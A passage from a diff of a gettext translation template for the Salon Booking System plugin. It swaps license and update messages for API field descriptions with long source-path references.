Versions:\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1888\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:163\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1888\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:163\n+msgid \"The label\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FPage.php:404\n-msgid \"Loading available versions...\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:678\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:781\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:678\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:781\n+msgid \"The last name for the resource.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FPage.php:415\n-msgid \"Activate License\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FManager.php:1598\n+#, php-format\n+msgid \"\"\n+\"The license validation API is responding slowly (took %s seconds). This may \"\n+\"cause admin pages to load slowly.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FPage.php:487, src\u002FSLN\u002FUpdate\u002FPage.php:545\n-msgid \"Refreshing...\"\n+#. %s will be replaced by the minimum order amount\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FStep.php:219\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FStep.php:219\n+#, php-format\n+msgid \"The minimum order amount is %s\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FPage.php:501\n-msgid \"Error refreshing license status. Please try again.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:458\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:477\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:458\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:477\n+msgid \"The mode of rule.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FPage.php:511\n-msgid \"Are you sure you want to clear the license status? This will reset the license information.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:537\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:667\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:604\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:621\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:537\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:667\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:604\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:621\n+msgid \"The monday.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FPage.php:514\n-msgid \"Clearing...\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:472\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:307\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:317\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:350\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:522\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:539\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:305\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:315\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:369\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:476\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:330\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:472\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:307\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:317\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:350\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:522\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:539\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:305\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:315\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:369\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:476\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:330\n+msgid \"The name for the resource.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FPage.php:524\n-msgid \"License status cleared. Please refresh the page.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:620\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:574\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:620\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:574\n+msgid \"The no assistants for the resource.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FPage.php:527\n-msgid \"Error clearing license status.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:715\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:818\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:715\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:818\n+msgid \"The note for the resource.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FPage.php:532\n-msgid \"Error clearing license status. Please try again.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FUsers_Controller.php:79\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FUsers_Controller.php:288\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FUsers_Controller.php:79\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FUsers_Controller.php:288\n+msgid \"The notification push id the resource.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FPage.php:557\n-msgid \"Subscription status refreshed successfully.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:506\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:525\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:506\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:525\n+msgid \"The number day of week for the resource.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FPage.php:559\n-msgid \"Error refreshing subscription status.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:207\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:207\n+msgid \"\"\n+\"The old API is no longer functioning. Your customers are not receiving SMS \"\n+\"notifications for bookings, reminders, or updates. Please migrate \"\n+\"immediately to restore service.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FPage.php:564\n-msgid \"Error refreshing subscription status. Please try again.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:149\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:149\n+msgid \"The options item.\"\n msgstr \"\"\n \n-#. translators: %1$s will be replaced by the version name, %2$s will be replaced by the changelog link, %3$s will be replaced by the new version, %4$s will be replaced by the link update\n-#: src\u002FSLN\u002FUpdate\u002FProcessor.php:160\n-msgid \"There is a new version of %1$s available. \u003Ca target=\\\"_blank\\\" class=\\\"thickbox\\\" href=\\\"%2$s\\\">View version %3$s details\u003C\u002Fa> or \u003Ca href=\\\"%4$s\\\">update now\u003C\u002Fa>.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:602\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:556\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:602\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:556\n+msgid \"The order execution for the resource.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FProcessor.php:149\n-msgid \"There is a new version of %1$s available. \u003Ca target=\\\"_blank\\\" class=\\\"thickbox\\\" href=\\\"%2$s\\\">View version %3$s details\u003C\u002Fa>.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1604\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1817\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1604\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1817\n+msgid \"The paid remained amount for the resource.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FRollback.php:79\n-msgid \"You do not have sufficient permissions to perform this action.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:591\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:545\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:591\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:545\n+msgid \"The parent services ids for the resource.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FRollback.php:83\n-msgid \"Security check failed.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:697\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:800\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:697\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:800\n+msgid \"The phone for the resource.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FRollback.php:91\n-msgid \"Cannot rollback to the same or newer version.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:501\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:568\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:501\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:568\n+msgid \"The phone number for the resource.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FRollback.php:99\n-msgid \"Successfully rolled back to version %s\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:531\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:485\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:531\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:485\n+msgid \"The price for the resource.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FRollback.php:154\n-msgid \"Could not create backup directory.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1547\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1760\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1547\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1760\n+msgid \"The resource id.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FUpdate\u002FRollback.php:173\n-msgid \"Could not create backup file.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: 